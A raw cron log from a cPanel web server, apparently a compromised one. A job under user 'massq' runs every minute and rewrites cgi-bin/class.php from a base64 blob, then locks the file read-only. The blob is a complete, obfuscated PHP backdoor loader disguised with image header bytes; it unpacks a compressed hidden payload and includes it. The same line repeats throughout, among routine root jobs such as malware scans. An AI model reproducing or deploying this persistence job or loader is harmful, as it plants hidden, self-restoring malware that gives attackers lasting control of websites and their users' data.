Nov 10 20:52:01 server CROND[1982]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:53:01 server CROND[2816]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:54:01 server CROND[3689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:55:01 server CROND[4537]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:55:01 server CROND[4539]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:55:01 server CROND[4538]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:56:01 server CROND[4856]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:57:01 server CROND[5510]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:57:01 server CROND[5511]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 20:58:01 server CROND[5700]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:59:01 server CROND[6499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:00:01 server CROND[7423]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:00:01 server CROND[7424]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 21:00:01 server CROND[7425]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:00:01 server CROND[7426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:01:01 server CROND[8320]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 21:01:01 server CROND[8319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:01:01 server run-parts(/etc/cron.hourly)[8320]: starting 0anacron
Nov 10 21:01:01 server run-parts(/etc/cron.hourly)[8332]: finished 0anacron
Nov 10 21:02:01 server CROND[9332]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:03:01 server CROND[10147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:04:01 server CROND[10963]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:05:01 server CROND[11977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:05:01 server CROND[11979]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 21:05:01 server CROND[11980]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
